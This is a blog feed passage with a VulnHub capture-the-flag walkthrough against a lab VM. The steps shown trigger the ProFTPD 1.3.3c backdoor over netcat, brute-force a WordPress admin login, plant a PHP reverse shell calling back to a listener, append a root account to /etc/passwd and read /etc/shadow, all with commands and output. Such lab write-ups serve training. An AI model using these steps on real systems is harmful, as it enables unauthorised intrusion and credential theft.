&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ ssh jan@192.168.56.103
 jan@192.168.56.103&#39;s password: 
 Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
 
  * Documentation:  https://help.ubuntu.com
  * Management:     https://landscape.canonical.com
  * Support:        https://ubuntu.com/advantage
 
 0 packages can be updated.
 0 updates are security updates.
 
 
 
 The programs included with the Ubuntu system are free software;
 the exact distribution terms for each program are described in the
 individual files in /usr/share/doc/*/copyright.
 
 Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
 applicable law.
 
 
 The programs included with the Ubuntu system are free software;
 the exact distribution terms for each program are described in the
 individual files in /usr/share/doc/*/copyright.
 
 Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
 applicable law.
 
 Last login: Fri Nov 29 16:53:56 2019 from 192.168.56.1
 jan@basic2:~$
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
For more writeups visit :&amp;nbsp;&lt;a href=&quot;http://www.sec-art.net/p/ctf.html&quot;&gt;http://www.sec-art.net/p/ctf.html&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2020/02/basicpentesting2-vm-walkthrough-from.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGtQ_TAnG3_5pLi8fA89XTVGIRmryFfq8erE4lERmQExZoMBQMkAZTuWxsRpRE548_fziHDMaRkzWI6TlQPMdZ2qzt_FllrgFbFx8xF2bHO1Cs-OTRjQH7oPud-D6uirHN02oe6wwHM3k/s72-c/img1.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-7466399725259818239</guid><pubDate>Tue, 14 Jan 2020 13:38:00 +0000</pubDate><atom:updated>2021-01-17T00:00:44.803-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">CTF</category><category domain="http://www.blogger.com/atom/ns#">Exploitation</category><category domain="http://www.blogger.com/atom/ns#">info-Sec</category><category domain="http://www.blogger.com/atom/ns#">kali-linux</category><category domain="http://www.blogger.com/atom/ns#">Metasploit-framework</category><category domain="http://www.blogger.com/atom/ns#">Metasploitable2</category><category domain="http://www.blogger.com/atom/ns#">VulnHub</category><title>BasicPentesting1 VM WalkThrough from VulnHub</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;b&gt;VM&lt;/b&gt; : &lt;a href=&quot;https://www.vulnhub.com/entry/basic-pentesting-1,216/&quot; target=&quot;_blank&quot;&gt;BasicPentesting1&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Download Link : &lt;a href=&quot;https://www.vulnhub.com/entry/basic-pentesting-1,216/&quot;&gt;https://www.vulnhub.com/entry/basic-pentesting-1,216/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Start the VM and get the IP of VM :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nmap -sP 192.168.1.0/24 
 
 Nmap scan report for 192.168.1.1
 Host is up (0.00060s latency).
 Nmap scan report for 192.168.1.2
 Host is up (0.000024s latency).
 Nmap scan report for 192.168.1.3
 Host is up (0.0014s latency).
 Nmap scan report for 192.168.1.9
 Host is up (0.11s latency).
 Nmap scan report for 192.168.1.10
 Host is up (0.0015s latency).
 Nmap scan report for 192.168.1.15
 Host is up (0.0012s latency).
 Nmap scan report for 192.168.1.100
 Host is up (0.00080s latency).
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
At above list &lt;i&gt;&lt;b&gt;192.168.1.15&lt;/b&gt;&lt;/i&gt; is our VM ip address.&amp;nbsp;At above list 192.168.1.15 is our VM ip address.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhyphenhyphen3cKuXanc2IYJkDif8Juw0PCfRh82aWVL5Yd5rkKm3A5v4EpE7gctg1yvAp4yqRJEBah0Se6JgYmJxYNvAHV1fk2EUPScm3S3UjZRIfAB_6RInH5g6KU7KS8Xn9ClY29a_0KdjOFuIM/s1600/img1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;207&quot; data-original-width=&quot;616&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhyphenhyphen3cKuXanc2IYJkDif8Juw0PCfRh82aWVL5Yd5rkKm3A5v4EpE7gctg1yvAp4yqRJEBah0Se6JgYmJxYNvAHV1fk2EUPScm3S3UjZRIfAB_6RInH5g6KU7KS8Xn9ClY29a_0KdjOFuIM/s1600/img1.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
At above list 192.168.1.15 is our VM ip address.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Scanning network :&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nmap -sV 192.168.1.15
 
 Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-28 18:53 UTC
 Nmap scan report for 192.168.1.15
 Host is up (0.0034s latency).
 Not shown: 997 closed ports
 PORT   STATE SERVICE VERSION
 21/tcp open  ftp     ProFTPD 1.3.3c
 22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
 80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
 Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
 
 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 7.54 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
Nothing unusual, but a quick search for ProFTPD 1.3.3c revealed that it is &lt;a href=&quot;https://www.aldeid.com/wiki/Exploits/proftpd-1.3.3c-backdoor&quot; target=&quot;_blank&quot;&gt;backdoored version of FTP server.&lt;/a&gt; To exploit this backdoor we just need to connect to port 21 with netcat and sends the trigger &quot;HELP ACIDBITCHEZ&quot;.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nc 192.168.1.15 21
 220 ProFTPD 1.3.3c Server (vtcsec) [192.168.1.15]
 HELP ACIDBITCHEZ
 uname -a
 Linux vtcsec 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
&lt;/code&gt;&lt;/pre&gt;
To get a proper interactive shell we can use a python trick:&lt;br /&gt;
&lt;pre class=&quot;brush: py&quot;&gt;python -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;;&lt;/pre&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nc 192.168.1.15 21
 python -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;;
 root@vtcsec:/#
&lt;/code&gt;&lt;/pre&gt;
We got the root access to the machine. Now lets find another ways to get root.&lt;br /&gt;
&lt;br /&gt;
Reconn for Web Applications :&lt;br /&gt;
Using dirb :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ dirb http://192.168.1.15
 
 -----------------
 DIRB v2.22    
 By The Dark Raver
 -----------------
 
 START_TIME: Sat Sep 28 19:16:46 2019
 URL_BASE: http://192.168.1.15/
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
 
 -----------------
 
 GENERATED WORDS: 4612                                                          
 
 ---- Scanning URL: http://192.168.1.15/ ----
 + http://192.168.1.15/index.html (CODE:200|SIZE:177)                                                                                                                           
 ==&amp;gt; DIRECTORY: http://192.168.1.15/secret/                                                                                                                                     
 + http://192.168.1.15/server-status (CODE:403|SIZE:277)                                                                                                                        
 
 ---- Entering directory: http://192.168.1.15/secret/ ----
 + http://192.168.1.15/secret/index.php (CODE:301|SIZE:0)                                                                                                                       
 ==&amp;gt; DIRECTORY: http://192.168.1.15/secret/wp-admin/                                                                                                                            
 ==&amp;gt; DIRECTORY: http://192.168.1.15/secret/wp-content/                                                                                                                          
 ==&amp;gt; DIRECTORY: http://192.168.1.15/secret/wp-includes/                                                                                                                         
 + http://192.168.1.15/secret/xmlrpc.php (CODE:405|SIZE:42)                                                                                                                     
 
 ---- Entering directory: http://192.168.1.15/secret/wp-admin/ ----
 + http://192.168.1.15/secret/wp-admin/admin.php (CODE:302|SIZE:0)                                                                                                              
 ==&amp;gt; DIRECTORY: http://192.168.1.15/secret/wp-admin/css/                                                                                                                        
 ==&amp;gt; DIRECTORY: http://192.168.1.15/secret/wp-admin/images/                                                                                                                     
 ==&amp;gt; DIRECTORY: http://192.168.1.15/secret/wp-admin/includes/                                                                                                                   
 + http://192.168.1.15/secret/wp-admin/index.php (CODE:302|SIZE:0)                                                                                                              
 ==&amp;gt; DIRECTORY: http://192.168.1.15/secret/wp-admin/js/                                                                                                                         
 ==&amp;gt; DIRECTORY: http://192.168.1.15/secret/wp-admin/maint/                                                                                                                      
 ==&amp;gt; DIRECTORY: http://192.168.1.15/secret/wp-admin/network/                                                                                                                    
 ==&amp;gt; DIRECTORY: http://192.168.1.15/secret/wp-admin/user/                                                                                                                       
 
 ---- Entering directory: http://192.168.1.15/secret/wp-content/ ----
 + http://192.168.1.15/secret/wp-content/index.php (CODE:200|SIZE:0)                                                                                                            
 ==&amp;gt; DIRECTORY: http://192.168.1.15/secret/wp-content/plugins/                                                                                                                  
 ==&amp;gt; DIRECTORY: http://192.168.1.15/secret/wp-content/themes/                                                                                                                   
 ==&amp;gt; DIRECTORY: http://192.168.1.15/secret/wp-content/upgrade/                                                                                                                  
 ==&amp;gt; DIRECTORY: http://192.168.1.15/secret/wp-content/uploads/                                                                                                                  
 
 ---- Entering directory: http://192.168.1.15/secret/wp-includes/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
     (Use mode &#39;-w&#39; if you want to scan it anyway)
 
 ---- Entering directory: http://192.168.1.15/secret/wp-admin/css/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
     (Use mode &#39;-w&#39; if you want to scan it anyway)
 
 ---- Entering directory: http://192.168.1.15/secret/wp-admin/images/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
     (Use mode &#39;-w&#39; if you want to scan it anyway)
 
 ---- Entering directory: http://192.168.1.15/secret/wp-admin/includes/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
     (Use mode &#39;-w&#39; if you want to scan it anyway)
 
 ---- Entering directory: http://192.168.1.15/secret/wp-admin/js/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
     (Use mode &#39;-w&#39; if you want to scan it anyway)
 
 ---- Entering directory: http://192.168.1.15/secret/wp-admin/maint/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
     (Use mode &#39;-w&#39; if you want to scan it anyway)
 
 ---- Entering directory: http://192.168.1.15/secret/wp-admin/network/ ----
 + http://192.168.1.15/secret/wp-admin/network/admin.php (CODE:302|SIZE:0)                                                                                                      
 + http://192.168.1.15/secret/wp-admin/network/index.php (CODE:302|SIZE:0)                                                                                                      
 
 ---- Entering directory: http://192.168.1.15/secret/wp-admin/user/ ----
 + http://192.168.1.15/secret/wp-admin/user/admin.php (CODE:302|SIZE:0)                                                                                                         
 + http://192.168.1.15/secret/wp-admin/user/index.php (CODE:302|SIZE:0)                                                                                                         
 
 ---- Entering directory: http://192.168.1.15/secret/wp-content/plugins/ ----
 + http://192.168.1.15/secret/wp-content/plugins/index.php (CODE:200|SIZE:0)                                                                                                    
 
 ---- Entering directory: http://192.168.1.15/secret/wp-content/themes/ ----
 + http://192.168.1.15/secret/wp-content/themes/index.php (CODE:200|SIZE:0)                                                                                                     
 
 ---- Entering directory: http://192.168.1.15/secret/wp-content/upgrade/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
     (Use mode &#39;-w&#39; if you want to scan it anyway)
 
 ---- Entering directory: http://192.168.1.15/secret/wp-content/uploads/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
     (Use mode &#39;-w&#39; if you want to scan it anyway)
 
 -----------------
 END_TIME: Sat Sep 28 19:17:13 2019
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
At above scan we find that there is a hidden wordpress blog at &lt;b&gt;http://192.168.1.15/secret/&lt;/b&gt;, lets check it out.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKYYQlhdSgxayR8sP1UUR9FU_Fib9wqtxKJyKirU54SAtCZtNoSkinzIO1FgzbZbjeK1NMbxe18PvR7Dw5HtV1WANIlr-gE8UAS5L66b8P6p6HQSsB5fdDv2Rs785GkKPJKy80cHnTBWE/s1600/img2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;449&quot; data-original-width=&quot;551&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKYYQlhdSgxayR8sP1UUR9FU_Fib9wqtxKJyKirU54SAtCZtNoSkinzIO1FgzbZbjeK1NMbxe18PvR7Dw5HtV1WANIlr-gE8UAS5L66b8P6p6HQSsB5fdDv2Rs785GkKPJKy80cHnTBWE/s1600/img2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
This blog will redirect to &lt;b&gt;http://vtcsec/secret/&lt;/b&gt;, so we add vtcsec into our &lt;b&gt;/etc/hosts&lt;/b&gt; file.&lt;br /&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;sudo echo &quot;vtcsec 192.168.1.15&quot; &amp;gt;&amp;gt; /etc/hosts&lt;/pre&gt;
Now the wordpress blog will properly open.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Scan wordpress blog with wpscan :&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ wpscan --url http://192.168.1.15/secret/ --enumerate u
 
         __          _______   _____                                                                                                                                                                                
         \ \        / /  __ \ / ____|                                                                                                                                                                               
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ _                                                                                                                                                              
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | &#39;_ \                                                                                                                                                               
            \  /\  /  | |     ____) | (__| (_| | | | |                                                                                                                                                              
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|                                                                                                                                                              
 
         WordPress Security Scanner by the WPScan Team                                                                                                                                                              
                        Version 3.7.1                                                                                                                                                                               
       WPScan.io - Online WordPress Vulnerability Scanner                                                                                                                                                           
       @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_                                                                                                                                                            
 _______________________________________________________________                                                                                                                                                                                                                                                                                        
 [+] URL: http://192.168.1.15/secret/                                                                                                                                                                               
 [+] Started: Sun Sep 29 05:46:41 2019                                                                                                                                                                                                     
 Interesting Finding(s):                                                                                                                                                                                            
 [+] http://192.168.1.15/secret/                                                                                                                                                                                    
  | Interesting Entry: Server: Apache/2.4.18 (Ubuntu)                                                                                                                                                               
  | Found By: Headers (Passive Detection)                                                                                                                                                                           
  | Confidence: 100%                                                                                                                                                                                                
 [+] http://192.168.1.15/secret/xmlrpc.php                                                                                                                                                                          
  | Found By: Direct Access (Aggressive Detection)       
  | Confidence: 100%
  | References:
  |  - http://codex.wordpress.org/XML-RPC_Pingback_API
  |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
  |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
  |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
  |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
 
 [+] http://192.168.1.15/secret/readme.html
  | Found By: Direct Access (Aggressive Detection)
  | Confidence: 100%
 
 [+] Upload directory has listing enabled: http://192.168.1.15/secret/wp-content/uploads/
  | Found By: Direct Access (Aggressive Detection)
  | Confidence: 100%
 
 [+] http://192.168.1.15/secret/wp-cron.php
  | Found By: Direct Access (Aggressive Detection)
  | Confidence: 60%
  | References:
  |  - https://www.iplocation.net/defend-wordpress-from-ddos
  |  - https://github.com/wpscanteam/wpscan/issues/1299
 
 [+] WordPress version 4.9.11 identified (Latest, released on 2019-09-05).
  | Detected By: Emoji Settings (Passive Detection)
  |  - http://192.168.1.15/secret/, Match: &#39;-release.min.js?ver=4.9.11&#39;
  | Confirmed By: Meta Generator (Passive Detection)
  |  - http://192.168.1.15/secret/, Match: &#39;WordPress 4.9.11&#39;
 
 [i] The main theme could not be detected.
 
 [+] Enumerating Users (via Passive and Aggressive Methods)
  Brute Forcing Author IDs - Time: 00:00:00 &amp;lt;=========================================&amp;gt; (10 / 10) 100.00% Time: 00:00:00
 
 [i] User(s) Identified:
 
 [+] admin
  | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  | Confirmed By: Login Error Messages (Aggressive Detection)
 
 [!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
 [!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/register.
 
 [+] Finished: Sun Sep 29 05:46:42 2019
 [+] Requests Done: 21
 [+] Cached Requests: 29
 [+] Data Sent: 5.049 KB
 [+] Data Received: 10.292 KB
 [+] Memory used: 90.594 MB
 [+] Elapsed time: 00:00:00
&lt;/code&gt;&lt;/pre&gt;
As we can see that the userid &lt;b&gt;admin&lt;/b&gt; detected by above scan. Now lets bruteforce the wordpress login. We are going to use a simple wordlist file for passwords.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; wpscan -U admin -P common.txt --url http://192.168.1.12/secret/
&lt;/code&gt;&lt;/pre&gt;
And the output shows the password, which is also admin.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; .....
 [i] Valid Combinations Found:
  | Username: admin, Password: admin
 .....
&lt;/code&gt;&lt;/pre&gt;
Now login to wordpress with above credentials.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Getting a shell using php reverse shell code :&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Link for php reverse shell : &lt;a href=&quot;https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php&quot; target=&quot;_blank&quot;&gt;Github Link&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Change the port number and IP address on script, then put it to the index.php file on wordpress.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuLuqpz4V2aDVhoxXIhyphenhyphenzdKH9T-i-zsLtVZtuosFtYBW4pcx2X3886zC-XCyb_x4aehyphenhyphenRURHT_SVpgRpsyKsAPFEbDTOc6CRE5eDbfSCgQiRhew8wvYBZY9I1lwEXmaGMucYA-nuLf2B4/s1600/img5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;452&quot; data-original-width=&quot;780&quot; height=&quot;370&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuLuqpz4V2aDVhoxXIhyphenhyphenzdKH9T-i-zsLtVZtuosFtYBW4pcx2X3886zC-XCyb_x4aehyphenhyphenRURHT_SVpgRpsyKsAPFEbDTOc6CRE5eDbfSCgQiRhew8wvYBZY9I1lwEXmaGMucYA-nuLf2B4/s640/img5.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Now start netcat listener&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nc -lvvp 1234
&lt;/code&gt;&lt;/pre&gt;
and open the wordpress page.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nc -lvvp 1234
 Listening on [0.0.0.0] (family 0, port 1234)
 Connection from vtcsec 52724 received!
 Linux vtcsec 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
  04:46:01 up 2 min,  0 users,  load average: 0.58, 0.60, 0.26
 USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 /bin/sh: 0: can&#39;t access tty; job control turned off
 $ whoami
 www-data
 $ 
&lt;/code&gt;&lt;/pre&gt;
We got the shell but its not the root shell, we need to escalate the privilege to root.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: x-large;&quot;&gt;&lt;b&gt;Getting root privilege :&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;1st Method: By overwriting the /etc/passwd file :&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
As we can see that &lt;b&gt;/etc/passwd&lt;/b&gt; is permitted to read-write for all users.&lt;/div&gt;
&lt;div&gt;
&lt;pre style=&quot;background: rgb(214, 215, 218); border: 1px dashed rgb(204, 204, 204); height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;overflow-wrap: normal;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;span style=&quot;font-size: 15px;&quot;&gt; $ ls -al /etc/passwd
 -rw-rw-rw- 1 root root 2364 Nov 16  2017 /etc/passwd&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
So by appending a new user who has root privilege assigned, into the /etc/passwd file with password we are able to get root shell.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Preparing new user to append on file :&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
The root user entry is look like this :&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;root:x:0:0:root:/root:/bin/bash&lt;/pre&gt;
where the different columns are as follows :&lt;br /&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;Username : Encrypted_Password : UserID : GroupID : UserID_Info : Home_Directory : Command_Shell&lt;/pre&gt;
At the place of password there is x which means the password is stored on the /etc/shadow file. Now lets create encrypted password for new user :&lt;br /&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;$ openssl passwd -1 -salt hack password123

$1$hack$MLgkAESrYp7kzYz0Ex2fV/&lt;/pre&gt;
Where :&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;-1&lt;/b&gt; : md5 based password algorithm (other options are -5 for SHA256 and -6 for SHA512 )&lt;/li&gt;
&lt;li&gt;&lt;b&gt;-salt&lt;/b&gt; : salt key, which is &quot;hack&quot;&lt;/li&gt;
&lt;li&gt;password is &lt;b&gt;password123&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
Now we have to append below line into &lt;b&gt;/etc/passwd&lt;/b&gt; file :&lt;br /&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;newroot:$1$hack$MLgkAESrYp7kzYz0Ex2fV/:0:0:root:/root:/bin/bash&lt;/pre&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; echo &quot;newroot:\$1\$hack\$MLgkAESrYp7kzYz0Ex2fV/:0:0:root:/root:/bin/bash&quot; &amp;gt;&amp;gt; /etc/passwd
&lt;/code&gt;&lt;/pre&gt;
Note : Put &lt;b&gt;\&lt;/b&gt; sign before all the &lt;b&gt;$&lt;/b&gt; sign on the password field, else echo command will try ro interpret it as a variable. Now try to login with our newly created user.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ su - newroot
 
 su: must be run from a terminal
&lt;/code&gt;&lt;/pre&gt;
But it through an error, means we need a tty terminal, which can be obtained by &lt;b&gt;python pty&lt;/b&gt; library trick.&lt;br /&gt;
&lt;pre class=&quot;brush: py&quot;&gt;python -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;);&#39;&lt;/pre&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ python -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;);&#39;
 www-data@vtcsec:/$
 www-data@vtcsec:/$ su - newroot
 su - newroot
 Password: password123
 
 root@vtcsec:~# whoami
 whoami
 root
 root@vtcsec:~#
&lt;/code&gt;&lt;/pre&gt;
Yep!!!, we got the root shell.!!&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;2nd Method: By cracking password of existing users :&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This method only works if the &lt;b&gt;/etc/shadow&lt;/b&gt; file is world readable, which is not allowed by default. But in this case we can read &lt;b&gt;/etc/shadow&lt;/b&gt; file&lt;/div&gt;
&lt;div&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ cat /etc/shadow
 
 root:!:17484:0:99999:7:::
 daemon:*:17379:0:99999:7:::
 bin:*:17379:0:99999:7:::
 ....
 ....
 ....
 saned:*:17379:0:99999:7:::
 usbmux:*:17379:0:99999:7:::
